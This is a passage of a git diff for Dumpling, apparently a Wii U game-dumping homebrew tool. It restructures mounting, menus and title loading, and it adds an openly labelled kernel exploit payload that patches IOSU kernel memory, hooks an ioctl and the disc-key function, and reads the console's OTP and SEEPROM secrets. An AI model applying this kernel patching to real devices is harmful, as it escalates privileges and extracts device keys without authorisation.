&IOSUHAX_sdio_disc_interface)) SDMounted = true; + if (SDMounted) WHBLogPrint("Successfully mounted the SD card!"); + WHBLogConsoleDraw(); + return SDMounted; +} + +bool mountUSBDrives() { + if (fatMountSimple("usbfat", &IOSUHAX_usb_disc_interface)) USBMounted = true; + if (USBMounted) WHBLogPrint("Successfully mounted an USB stick!"); + WHBLogConsoleDraw(); + return USBMounted; } bool mountDisc() { + if (!isDiscInserted()) return false; if (mount_fs("storage_odd01", getFSAHandle(), "/dev/odd01", "/vol/storage_odd_tickets") == 0) discMounted = true; if (mount_fs("storage_odd02", getFSAHandle(), "/dev/odd02", "/vol/storage_odd_updates") == 0) discMounted = true; if (mount_fs("storage_odd03", getFSAHandle(), "/dev/odd03", "/vol/storage_odd_content") == 0) discMounted = true; @@ -36,15 +48,19 @@ bool mountDisc() { return discMounted; } -bool unmountDevices() { +bool unmountSystemDrives() { // Unmount all of the devices - if (mlcMounted && unmount_fs("storage_mlc01") == 0) mlcMounted = false; - if (usbMounted && unmount_fs("storage_usb01") == 0) usbMounted = false; - if (sdfatMounted) fatUnmount("sdfat"); - if (usbfatMounted) fatUnmount("usbfat"); - sdfatMounted = false; - usbfatMounted = false; - return (!mlcMounted && !usbMounted); + if (systemMLCMounted && unmount_fs("storage_mlc01") == 0) systemMLCMounted = false; + if (systemMLCMounted && unmount_fs("storage_usb01") == 0) systemUSBMounted = false; + return (!systemMLCMounted && !systemUSBMounted); +} + +void unmountSD() { + if (SDMounted) fatUnmount("sdfat"); +} + +void unmountUSBDrives() { + if (USBMounted) fatUnmount("usbfat"); } bool unmountDisc() { @@ -55,6 +71,20 @@ bool unmountDisc() { return !discMounted; } +bool isDiscInserted() { + // The ios_odm module writes the disc key whenever a disc is inserted + DCInvalidateRange((void*)0xF5E10C00, 32); + return *(volatile uint32_t*)0xF5E10C00 != 0; +} + +bool isUSBInserted() { + return USBMounted; +} + +bool isExternalStorageInserted() { + return systemUSBMounted; +} + // Filesystem Helper Functions // Wii U libraries will give us paths that use /vol/storage_mlc01/file.txt, but posix uses the mounted drive paths like storage_mlc01:/file.txt diff --git a/source/filesystem.h b/source/app/filesystem.h similarity index 75% rename from source/filesystem.h rename to source/app/filesystem.h index decfae4..9ab0e16 100644 --- a/source/filesystem.h +++ b/source/app/filesystem.h @@ -1,18 +1,20 @@ #include "common.h" -// Mount Indicators -extern bool mlcMounted; -extern bool usbMounted; -extern bool discMounted; -extern bool sdfatMounted; -extern bool usbfatMounted; - // Functions related to devices -bool mountDevices(); +bool mountSystemDrives(); +bool mountSD(); +bool mountUSBDrives(); bool mountDisc(); -bool unmountDevices(); +bool unmountSystemDrives(); +void unmountUSBDrives(); +void unmountSD(); +void unmountUSBDrives(); bool unmountDisc(); +bool isUSBInserted(); +bool isDiscInserted(); +bool isExternalStorageInserted(); + // Filesystem helper functions std::string convertToPosixPath(const char* volPath); std::string convertToDevicePath(const char* volPath); diff --git a/source/app/iosuhax.cpp b/source/app/iosuhax.cpp new file mode 100644 index 0000000..3656986 --- /dev/null +++ b/source/app/iosuhax.cpp @@ -0,0 +1,59 @@ +#include "iosuhax.h" + +int32_t mcpHookHandle = -1; +int32_t fsaHandle = -1; +int32_t iosuhaxHandle = -1; + +OSEvent haxStartEvent = {}; + +void haxStartCallback(IOSError arg1, void *arg2) { +} + +bool openIosuhax() { + WHBLogPrint("Preparing iosuhax..."); + WHBLogConsoleDraw(); + + // Open MCP to send the start command + mcpHookHandle = MCP_Open(); + if (mcpHookHandle < 0) { + WHBLogPrint("Failed to open the MCP IPC!"); + return false; + } + + // Send 0x62 ioctl command that got replaced in the ios_kernel to run the wupserver + IOS_IoctlAsync(mcpHookHandle, 0x62, nullptr, 0, nullptr, 0, haxStartCallback, nullptr); + OSSleepTicks(OSSecondsToTicks(1)); + + // Connect to dumplinghax + iosuhaxHandle = IOSUHAX_Open("/dev/mcp"); + if (iosuhaxHandle < 0) { + WHBLogPrint("Couldn't open iosuhax :/"); + WHBLogPrint("Something interfered with the exploit..."); + WHBLogPrint("Try restarting your Wii U and launching Dumpling again!"); + return false; + } + + fsaHandle = IOSUHAX_FSA_Open(); + if (fsaHandle < 0) { + WHBLogPrint("Couldn't open iosuhax FSA!"); + return false; + } + return true; +} + +void closeIosuhax() { + if (fsaHandle > 0) IOSUHAX_FSA_Close(fsaHandle); + if (iosuhaxHandle > 0) IOSUHAX_Close(); + if (mcpHookHandle > 0) MCP_Close(mcpHookHandle); + mcpHookHandle = -1; + fsaHandle = -1; + iosuhaxHandle = -1; +} + +int32_t getFSAHandle() { + return fsaHandle; +} + +int32_t getIosuhaxHandle() { + return iosuhaxHandle; +} \ No newline at end of file diff --git a/source/app/iosuhax.h b/source/app/iosuhax.h new file mode 100644 index 0000000..76a905b --- /dev/null +++ b/source/app/iosuhax.h @@ -0,0 +1,8 @@ +#include "common.h" +#include +#include + +bool openIosuhax(); +void closeIosuhax(); +int32_t getFSAHandle(); +int32_t getIosuhaxHandle(); \ No newline at end of file diff --git a/source/app/main.cpp b/source/app/main.cpp new file mode 100644 index 0000000..8feee46 --- /dev/null +++ b/source/app/main.cpp @@ -0,0 +1,64 @@ +#include +#include +#include +#include +#include +#include + +#include "menu.h" +#include "navigation.h" +#include "iosuhax.h" +#include "filesystem.h" +#include "exploit.h" +#include "memory.h" +#include "titles.h" +#include "users.h" + +static OSDynLoad_Module coreinitHandle = NULL; +static void *sOSForceFullRelaunch = NULL; + +int32_t OSForceFullRelaunch() { + return reinterpret_cast(sOSForceFullRelaunch)(); +} + +int main() { + // Initialize libraries + WHBProcInit(); + WHBLogConsoleInit(); + FSInit(); + nn::act::Initialize(); + initializeInputs(); + + IMDisableAPD(); // Disable auto-shutdown feature + + // Initialize force OS restart function + OSDynLoad_Acquire("coreinit.rpl", &coreinitHandle); + OSDynLoad_FindExport(coreinitHandle, FALSE, "OSForceFullRelaunch", &sOSForceFullRelaunch); + OSDynLoad_Release(coreinitHandle); + + // Setup environment to dump discs + showLoadingScreen(); + if (getTitles() && executeExploit() && openIosuhax() && mountSystemDrives() && mountSD() && loadUsers() && loadTitles(true)) { + showMainMenu(); + } + + WHBLogPrint(""); + WHBLogPrint("Exiting Dumpling..."); + WHBLogPrint("Will fully restart OS to the home menu!"); + WHBLogConsoleDraw(); + OSSleepTicks(OSSecondsToTicks(5)); + + // Close application properly + unmountSD(); + unmountUSBDrives(); + unmountSystemDrives(); + closeIosuhax(); + WHBProcShutdown(); + WHBLogConsoleFree(); + nn::act::Finalize(); + FSShutdown(); + VPADShutdown(); + SYSLaunchMenu(); + OSForceFullRelaunch(); + return 0; +} \ No newline at end of file diff --git a/source/menu.cpp b/source/app/menu.cpp similarity index 90% rename from source/menu.cpp rename to source/app/menu.cpp index c858831..4ee9ff9 100644 --- a/source/menu.cpp +++ b/source/app/menu.cpp @@ -8,14 +8,12 @@ // Menu screens -bool showLoadingScreen() { +void showLoadingScreen() { WHBLogConsoleSetColor(0x0b5d5e00); - WHBLogPrint("Dumpling V2.0.4"); + WHBLogPrint("Dumpling V2.1.0"); WHBLogPrint("-- Made by Crementif and Emiyl --"); WHBLogPrint(""); - WHBLogPrint("Loading games..."); WHBLogConsoleDraw(); - return loadUsers() && loadTitles(true); } void showMainMenu() { @@ -24,20 +22,20 @@ void showMainMenu() { while(!startSelectedOption) { // Print menu text clearScreen(); - WHBLogPrint("Dumpling V2.0.4"); + WHBLogPrint("Dumpling V2.1.0"); WHBLogPrint("==============================="); WHBLogPrintf("%c Dump a game disc", selectedOption==0 ? '>' : ' '); WHBLogPrintf("%c Dump digital games", selectedOption==1 ? '>' : ' '); WHBLogPrint(""); WHBLogPrintf("%c Dump files to use Cemu online", selectedOption==2 ? '>' : ' '); WHBLogPrintf("%c Dump Wii U applications (e.g. Friend List, Browser etc.)", selectedOption==3 ? '>' : ' '); - WHBLogPrintf("%c Dump Compatibility Files for Cemu", selectedOption==4 ? '>' : ' '); + //WHBLogPrintf("%c Dump Amiibo Files for Cemu", selectedOption==4 ? '>' : ' '); WHBLogPrint(""); - WHBLogPrintf("%c Dump whole MLC (everything stored on internal storage)", selectedOption==5 ? '>' : ' '); - WHBLogPrintf("%c Dump only Base files of a game", selectedOption==6 ? '>' : ' '); - WHBLogPrintf("%c Dump only Update files of a game", selectedOption==7 ? '>' : ' '); - WHBLogPrintf("%c Dump only DLC files of a game", selectedOption==8 ? '>' : ' '); - //WHBLogPrintf("%c Dump only Save files of a game", selectedOption==9 ? '>' : ' '); // TODO: To extend save file dumping purposes, read the meta files from the save files to show save files that are from disc games + WHBLogPrintf("%c Dump only Base files of a game", selectedOption==4 ? '>' : ' '); + WHBLogPrintf("%c Dump only Update files of a game", selectedOption==5 ? '>' : ' '); + WHBLogPrintf("%c Dump only DLC files of a game", selectedOption==6 ? '>' : ' '); + WHBLogPrintf("%c Dump whole MLC (everything stored on internal storage)", selectedOption==7 ? '>' : ' '); + //WHBLogPrintf("%c Dump only Save files of a game", selectedOption==8 ? '>' : ' '); // TODO: To extend save file dumping purposes, read the meta files from the save files to show save files that are from disc games WHBLogPrint("==============================="); WHBLogPrint("A Button = Select Option"); WHBLogPrint("B Button = Exit Dumpling"); @@ -63,7 +61,10 @@ void showMainMenu() { } if (pressedBack()) { uint8_t exitSelectedOption = showDialogPrompt("Do you really want to exit Dumpling?", "Yes", "No"); - if (exitSelectedOption == 0) return; + if (exitSelectedOption == 0) { + clearScreen(); + return; + } else break; } OSSleepTicks(OSMillisecondsToTicks(50)); @@ -85,19 +86,18 @@ void showMainMenu() { showTitleList("Select all the system applications you want to dump!", {.filterTypes = dumpTypeFlags::SYSTEM_APP, .dumpTypes = dumpTypeFlags::GAME, .queue = true}); break; case 4: - dumpCompatibilityFiles(); + showTitleList("Select all the games that you want to dump the base game from!", {.filterTypes = dumpTypeFlags::GAME, .dumpTypes = dumpTypeFlags::GAME, .queue = true}); break; case 5: - dumpMLC(); + showTitleList("Select all the games that you want to dump the update from!", {.filterTypes = dumpTypeFlags::UPDATE, .dumpTypes = dumpTypeFlags::UPDATE, .queue = true}); break; case 6: - showTitleList("Select all the games that you want to dump the base game from!", {.filterTypes = dumpTypeFlags::GAME, .dumpTypes = dumpTypeFlags::GAME, .queue = true}); + showTitleList("Select all the games that you want to dump the DLC from!", {.filterTypes = dumpTypeFlags::DLC, .dumpTypes = dumpTypeFlags::DLC, .queue = true}); break; case 7: - showTitleList("Select all the games that you want to dump the update from!", {.filterTypes = dumpTypeFlags::UPDATE, .dumpTypes = dumpTypeFlags::UPDATE, .queue = true}); + dumpMLC(); break; case 8: - showTitleList("Select all the games that you want to dump the DLC from!", {.filterTypes = dumpTypeFlags::DLC, .dumpTypes = dumpTypeFlags::DLC, .queue = true}); break; case 9: //showTitleList("Select all the games that you want to dump the save from!", {.filterTypes = (dumpTypeFlags::SAVE | dumpTypeFlags::COMMONSAVE), .dumpTypes = (dumpTypeFlags::SAVE | dumpTypeFlags::COMMONSAVE), .queue = true}); @@ -106,6 +106,8 @@ void showMainMenu() { break; } + if (isUSBInserted()) unmountUSBDrives(); + OSSleepTicks(OSMillisecondsToTicks(500)); showMainMenu(); } @@ -144,6 +146,7 @@ bool showOptionMenu(dumpingConfig& config, bool showAccountOption) { if (navigatedLeft()) { if (selectedOption == 0 && config.location == dumpLocation::USBFat) { config.location = dumpLocation::SDFat; + unmountUSBDrives(); } if (selectedOption == 1 && showAccountOption && selectedAccount > 0) { selectedAccount--; @@ -152,8 +155,8 @@ bool showOptionMenu(dumpingConfig& config, bool showAccountOption) { } if (navigatedRight()) { if (selectedOption == 0 && config.location == dumpLocation::SDFat) { - if (usbfatMounted) config.location = dumpLocation::USBFat; - else showDialogPrompt("Didn't detect a FAT32 formatted USB stick when Dumpling started.\nMake sure that it's plugged in BEFORE you start Dumpling!", "OK"); + if (mountUSBDrives()) config.location = dumpLocation::USBFat; + else showDialogPrompt("Couldn't detect an useable FAT32 USB stick.\nTry reformatting it and make sure it has only one partition.", "OK"); } if (selectedOption == 1 && showAccountOption && selectedAccount < allUsers.size()-1) { selectedAccount++; @@ -183,6 +186,7 @@ uint8_t showDialogPrompt(const char* message, const char* button1, const char* b clearScreen(); WHBLogPrint(message); WHBLogPrint(""); + WHBLogPrint(""); WHBLogPrintf("%c %s", selectedButton==0 ? '>' : ' ', button1); if (button2 != NULL) WHBLogPrintf("%c %s", selectedButton==1 ? '>' : ' ', button2); WHBLogPrint(""); diff --git a/source/menu.h b/source/app/menu.h similarity index 93% rename from source/menu.h rename to source/app/menu.h index c283b5e..a090850 100644 --- a/source/menu.h +++ b/source/app/menu.h @@ -1,6 +1,6 @@ #include "common.h" -bool showLoadingScreen(); +void showLoadingScreen(); void showMainMenu(); uint8_t showDialogPrompt(const char* message, const char* button1, const char* button2); diff --git a/source/navigation.cpp b/source/app/navigation.cpp similarity index 100% rename from source/navigation.cpp rename to source/app/navigation.cpp diff --git a/source/navigation.h b/source/app/navigation.h similarity index 100% rename from source/navigation.h rename to source/app/navigation.h diff --git a/source/progress.cpp b/source/app/progress.cpp similarity index 100% rename from source/progress.cpp rename to source/app/progress.cpp diff --git a/source/progress.h b/source/app/progress.h similarity index 100% rename from source/progress.h rename to source/app/progress.h diff --git a/source/titlelist.cpp b/source/app/titlelist.cpp similarity index 100% rename from source/titlelist.cpp rename to source/app/titlelist.cpp diff --git a/source/titlelist.h b/source/app/titlelist.h similarity index 100% rename from source/titlelist.h rename to source/app/titlelist.h diff --git a/source/titles.cpp b/source/app/titles.cpp similarity index 92% rename from source/titles.cpp rename to source/app/titles.cpp index 767a08d..347109e 100644 --- a/source/titles.cpp +++ b/source/app/titles.cpp @@ -1,12 +1,12 @@ #include "titles.h" #include "filesystem.h" #include "users.h" -#include "iosuhax.h" #include #include #include std::vector installedTitles = {}; +std::vector unparsedTitleList = {}; bool readInfoFromXML(titleEntry& title, titlePart& part) { // Check if /meta/meta.xml file exists @@ -105,9 +105,12 @@ bool getSaves(std::string savesPath, std::vector& saves, titleSaveCom return true; } -bool loadTitles(bool skipDiscs) { - // Delete previous titles - installedTitles.clear(); +bool getTitles() { + WHBLogPrint("Loading titles..."); + WHBLogConsoleDraw(); + + // Clear unparsed titles + unparsedTitleList.clear(); // Open MCP tunnel int32_t mcpHandle = MCP_Open(); @@ -120,21 +123,27 @@ bool loadTitles(bool skipDiscs) { int32_t titleCount = MCP_TitleCount(mcpHandle); uint32_t titleByteSize = titleCount * sizeof(struct MCPTitleListType); - std::vector titleList(titleCount); + unparsedTitleList.resize(titleCount); uint32_t titlesListed; - MCP_TitleList(mcpHandle, &titlesListed, titleList.data(), titleByteSize); + MCP_TitleList(mcpHandle, &titlesListed, unparsedTitleList.data(), titleByteSize); // Close MCP MCP_Close(mcpHandle); + return true; +} - if (!openIosuhax()) return false; - if (!mountDevices()) return false; +bool loadTitles(bool skipDiscs) { + WHBLogPrint("Searching for games..."); + WHBLogConsoleDraw(); + + // Delete previous titles + installedTitles.clear(); // Queue and group parts of each title std::map>> sortedQueue; - for (auto& title : titleList) { - // Skip discs whenever skipDiscs is set + for (auto& title : unparsedTitleList) { + // Skip discs whenever there's an initial scan if (skipDiscs && deviceToLocation(title.indexedDevice) == titleLocation::Disc) continue; // Check if it's a supported app type @@ -220,11 +229,13 @@ bool loadTitles(bool skipDiscs) { savePath << "/"; savePath << std::nouppercase << std::right << std::setw(8) << std::setfill('0') << std::hex << title.titleLowID; savePath << "/user"; - if (usbMounted) getSaves((std::string("storage_usb01:") + savePath.str()), title.saves, title.commonSave); - if (mlcMounted) getSaves((std::string("storage_mlc01:") + savePath.str()), title.saves, title.commonSave); + if (isExternalStorageInserted()) getSaves((std::string("storage_usb01:") + savePath.str()), title.saves, title.commonSave); + getSaves((std::string("storage_mlc01:") + savePath.str()), title.saves, title.commonSave); } } + // Clear unparsed titles + unparsedTitleList.clear(); return true; } diff --git a/source/titles.h b/source/app/titles.h similarity index 86% rename from source/titles.h rename to source/app/titles.h index 51f0572..cb97d66 100644 --- a/source/titles.h +++ b/source/app/titles.h @@ -2,7 +2,8 @@ extern std::vector installedTitles; -bool loadTitles(bool skipDiscs); +bool getTitles(); +bool loadTitles(bool initialScan); std::reference_wrapper getTitleWithName(std::string nameOfTitle); std::string normalizeTitle(std::string& unsafeTitle); diff --git a/source/users.cpp b/source/app/users.cpp similarity index 95% rename from source/users.cpp rename to source/app/users.cpp index 4c7e68d..c721c15 100644 --- a/source/users.cpp +++ b/source/app/users.cpp @@ -5,6 +5,9 @@ std::vector allUsers; bool loadUsers() { + WHBLogPrint("Loading users..."); + WHBLogConsoleDraw(); + nn::act::SlotNo currentAccount = nn::act::GetSlotNo(); nn::act::SlotNo defaultAccount = nn::act::GetDefaultAccount(); diff --git a/source/users.h b/source/app/users.h similarity index 100% rename from source/users.h rename to source/app/users.h diff --git a/source/cfw/ios_kernel/Makefile b/source/cfw/ios_kernel/Makefile new file mode 100644 index 0000000..ac9a7b3 --- /dev/null +++ b/source/cfw/ios_kernel/Makefile @@ -0,0 +1,58 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +BIN2S = $(DEVKITPRO)/tools/bin/bin2s +CFLAGS += -Wall -Wno-unused-variable -Wno-unused-function -mbig-endian -std=gnu99 -march=armv5t -Os +LDFLAGS += -EB -Tlink.ld + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard data/*.bin) +OFILES = $(BINFILES:data/%.bin=build/%.bin.o) +OFILES += $(CFILES:source/%.c=build/%.o) +DFILES = $(CFILES:source/%.c=build/%.d) +SFILES = $(wildcard source/*.s) +OFILES += $(SFILES:source/%.s=build/%.o) +PROJECTNAME = ${shell basename "$(CURDIR)"} +CWD = "$(CURDIR)" + + +#--------------------------------------------------------------------------------- +.PHONY: all dirs $(PROJECTNAME) clean + +all: dirs $(PROJECTNAME) + +$(PROJECTNAME): $(OFILES) + @echo "Linking files for $(PROJECTNAME)..." + @$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(OFILES) + @$(OBJCOPY) -j .text -j .rodata -j .data -j .bss -O binary $(PROJECTNAME).elf $(PROJECTNAME).bin + @xxd -i $(PROJECTNAME).bin | sed "s/unsigned/static const unsigned/g" > $(PROJECTNAME).h + +dirs: + @mkdir -p build + +clean: + @echo "Cleaning up files from $(PROJECTNAME)..." + @rm -f build/*.o build/*.d + @rmdir build 2>/dev/null || true + @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME).s $(PROJECTNAME).h + +#--------------------------------------------------------------------------------- + +-include $(DFILES) + +build/%.o: source/%.c + $(CC) $(CFLAGS) -c $< -o $@ + @$(CC) -MM $< > build/$*.d + +build/%.o: source/%.s + $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ + @$(CC) -MM $< > build/$*.d \ No newline at end of file diff --git a/source/cfw/ios_kernel/link.ld b/source/cfw/ios_kernel/link.ld new file mode 100644 index 0000000..b28c5ec --- /dev/null +++ b/source/cfw/ios_kernel/link.ld @@ -0,0 +1,14 @@ +OUTPUT_ARCH(arm) + +SECTIONS +{ + . = 0x08134100; + + .text : ALIGN(0x100) { + build/crt0.o(.init); + *(.text); + } + .rodata : { + *(.rodata*); + } +} \ No newline at end of file diff --git a/source/cfw/ios_kernel/source/crt0.s b/source/cfw/ios_kernel/source/crt0.s new file mode 100644 index 0000000..b299452 --- /dev/null +++ b/source/cfw/ios_kernel/source/crt0.s @@ -0,0 +1,9 @@ +.section ".init" +.arm +.align 4 + +.extern mainKernel +.type mainKernel, %function + +_start: + b mainKernel diff --git a/source/cfw/ios_kernel/source/main.c b/source/cfw/ios_kernel/source/main.c new file mode 100644 index 0000000..3696e42 --- /dev/null +++ b/source/cfw/ios_kernel/source/main.c @@ -0,0 +1,56 @@ +#include "main.h" +#include "seeprom.h" +#include "../../ios_mcp/ios_mcp.h" +#include "../../ios_odm/ios_odm.h" +#include "../../ios_usb/ios_usb.h" + +int32_t mainKernel() { + // Flush whole D-cache + flushDCache(0x081200F0, 0x4001); + + // Save state + int32_t level = disableInterrupts(); + uint32_t controlRegister = disableMMU(); + + // Save the request handle to reply later in the USB module + *(uint32_t*)0x01E10000 = *(uint32_t*)0x1016AD18; + + // Patch kernel_error_handler to exit out immediately when called + *(int32_t*)0x08129A24 = 0xE12FFF1E; // bx lr + + // Fix memory that the exploit had to corrupt while trying to load this file + kernelMemcpy((void*)0x081298BC, repairData_setFaultBehavior, sizeof(repairData_setFaultBehavior)); + kernelMemcpy((void*)0x081296E4, repairData_setPanicBehavior, sizeof(repairData_setPanicBehavior)); + kernelMemcpy((void*)0x10100174, repairData_USBRootThread, sizeof(repairData_USBRootThread)); + + readOTP(0, (void*)0x01E10400, 1024); + readSeeprom((uint16_t*)0x01E10400+1024); + + // Copy ios_mcp, ios_usb and ios_odm code so that it can be run + kernelMemcpy((void*)0x101312D0, (void*)0x01E50000, sizeof(ios_usb_bin)); + kernelMemcpy((void*)0x107F81C4, (void*)ios_odm_bin, sizeof(ios_odm_bin)); + + *(uint32_t*)KERNEL_RUN_ADDR(0x0510E56C) = 0x47700000; // bx lr + kernelMemcpy(KERNEL_RUN_ADDR(0x0510E570), (void*)0x01E70020, *(uint32_t*)0x01E70000); + + // Replace ioctl 0x62 code with a jump to the custom MCP payload that'll run the iosuhax server IPC + *(uint32_t*)KERNEL_SRC_ADDR(0x05026BA8) = 0x47780000; // bx pc + *(uint32_t*)KERNEL_SRC_ADDR(0x05026BAC) = 0xE59F1000; // ldr r1, [pc] + *(uint32_t*)KERNEL_SRC_ADDR(0x05026BB0) = 0xE12FFF11; // bx r1 + *(uint32_t*)KERNEL_SRC_ADDR(0x05026BB4) = 0x0510E570; // ios_mcp code + + // Inject a call to replace the read key function in the ODM payload + *(volatile uint32_t*)(0x1073B310) = ARM_BL(0x1073B310, 0x107F81C4); // odmReadKey + + *(int32_t*)(0x01555500) = 0; + + // Restore state + restoreMMU(controlRegister); + enableInterrupts(level); + + // Flush whole D-cache and I-cache again + invalidateDCache(0x081298BC, 0x4001); + invalidateICache(); + + return 0; +} diff --git a/source/cfw/ios_kernel/source/main.h b/source/cfw/ios_kernel/source/main.h new file mode 100644 index 0000000..11a3904 --- /dev/null +++ b/source/cfw/ios_kernel/source/main.h @@ -0,0 +1,56 @@ +#include +#include + +uint8_t repairData_setFaultBehavior[] = { + 0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00, + 0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02, + 0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D, +}; +uint8_t repairData_setPanicBehavior[] = { + 0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70, + 0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00, + 0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4, + 0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94, + 0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E, + 0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00, + 0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00, +}; +static uint8_t repairData_USBRootThread[] = { + 0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10, + 0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3, + 0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90, + 0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8, + 0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0, + 0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03, + 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, +}; + +int(*disableInterrupts)() = (int(*)())0x0812E778; +int(*enableInterrupts)(int) = (int(*)(int))0x0812E78C; +void(*invalidateICache)() = (void(*)())0x0812DCF0; +void(*invalidateDCache)(unsigned int, unsigned int) = (void(*)())0x08120164; +void(*flushDCache)(unsigned int, unsigned int) = (void(*)())0x08120160; +char* (*kernelMemcpy)(void*, void*, int) = (char*(*)(void*, void*, int))0x08131D04; +int (*readOTP)(int index, void* out_buf, uint32_t size) = (int (*)(int, void*, uint32_t))0x08120248; + +static inline uint32_t disableMMU() { + uint32_t controlRegister = 0; + asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (controlRegister)); + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (controlRegister & 0xFFFFEFFA)); + return controlRegister; +} + +static inline void restoreMMU(uint32_t controlRegister) { + asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (controlRegister)); +} + +#define ARM_B(addr, func) (0xEA000000 | ((((uint32_t)(func) - (uint32_t)(addr) - 8) >> 2) & 0x00FFFFFF)) +#define ARM_BL(addr, func) (0xEB000000 | ((((uint32_t)(func) - (uint32_t)(addr) - 8) >> 2) & 0x00FFFFFF)) +#define THUMB_B(addr, func) ((0xE000 | ((((uint32_t)(func) - (uint32_t)(addr) - 4) >> 1) & 0x7FF))) +#define THUMB_BL(addr, func) ((0xF000F800 | ((((uint32_t)(func) - (uint32_t)(addr) - 4) >> 1) & 0x0FFF)) | ((((uint32_t)(func) - (uint32_t)(addr) - 4) << 4) & 0x7FFF000)) + + +#define KERNEL_RUN_ADDR(addr) (void*)(addr - 0x05100000 + 0x13D80000) +#define KERNEL_SRC_ADDR(addr) (void*)(addr - 0x05000000 + 0x081C0000) + +int32_t mainKernel(); \ No newline at end of file diff --git a/source/cfw/ios_kernel/source/seeprom.c b/source/cfw/ios_kernel/source/seeprom.c new file mode 100644 index 0000000..5e4b8a6 --- /dev/null +++ b/source/cfw/ios_kernel/source/seeprom.c @@ -0,0 +1,48 @@ +#include "seeprom.h" + +static uint32_t spiRead(int32_t bitCount) { + uint32_t word = 0; + while(bitCount--) { + word <<= 1; + HW_REG(LT_GPIO_OUT) |= EEPROM_SPI_SCK; + regDelay(9); + + HW_REG(LT_GPIO_OUT) &= ~EEPROM_SPI_SCK; + regDelay(9); + + word |= ((HW_REG(LT_GPIO_IN) & EEPROM_SPI_MISO) != 0); + } + return word; +} + +static void spiWrite(uint32_t word, int32_t bitCount) { + while(bitCount--) { + if (word & (1 << bitCount)) HW_REG(LT_GPIO_OUT) |= EEPROM_SPI_MOSI; + else HW_REG(LT_GPIO_OUT) &= ~EEPROM_SPI_MOSI; + regDelay(9); + + HW_REG(LT_GPIO_OUT) |= EEPROM_SPI_SCK; + regDelay(9); + + HW_REG(LT_GPIO_OUT) &= ~EEPROM_SPI_SCK; + regDelay(9); + } +} + +void readSeeprom(uint16_t* seepromBuffer) { + int32_t offset = 0 >> 1; + int32_t size = 0x200 >> 1; + + HW_REG(LT_GPIO_OUT) &= ~EEPROM_SPI_SCK; + HW_REG(LT_GPIO_OUT) &= ~EEPROM_SPI_CS; + regDelay(9); + for (int32_t i=0; i +#include + +// Based on mini implementation by sven peter +#define LT_TIMER 0x0d800010 +#define LT_GPIO_OUT 0x0d8000e0 +#define LT_GPIO_IN 0x0d8000e8 + +#define EEPROM_SPI_CS 0x400 +#define EEPROM_SPI_SCK 0x800 +#define EEPROM_SPI_MOSI 0x1000 +#define EEPROM_SPI_MISO 0x2000 + +#define HW_REG(reg) (*(volatile unsigned int*)(reg)) + +static inline void regDelay(uint32_t ticks) { + uint32_t now = HW_REG(LT_TIMER); + while((HW_REG(LT_TIMER) - now) < ticks); +} + +void readSeeprom(uint16_t* seepromBuffer); \ No newline at end of file diff --git a/source/cfw/ios_mcp/Makefile b/source/cfw/ios_mcp/Makefile new file mode 100644 index 0000000..7327cbc --- /dev/null +++ b/source/cfw/ios_mcp/Makefile @@ -0,0 +1,62 @@ +ifeq ($(strip $(DEVKITARM)),) +$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") +endif + +ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) +export PATH:=$(DEVKITARM)/bin:$(PATH) +endif + +CC = arm-none-eabi-gcc +LINK = arm-none-eabi-ld +AS = arm-none-eabi-as +OBJCOPY = arm-none-eabi-objcopy +OBJDUMP = arm-none-eabi-objdump +BIN2S = $(DEVKITPRO)/tools/bin/bin2s +CFLAGS += -Wall -Wno-unused-variable -Wno-unused-function -mbig-endian -std=gnu99 -march=armv5t -Os -s -mthumb +LDFLAGS += -EB -Tlink.ld + +CFILES = $(wildcard source/*.c) +BINFILES = $(wildcard 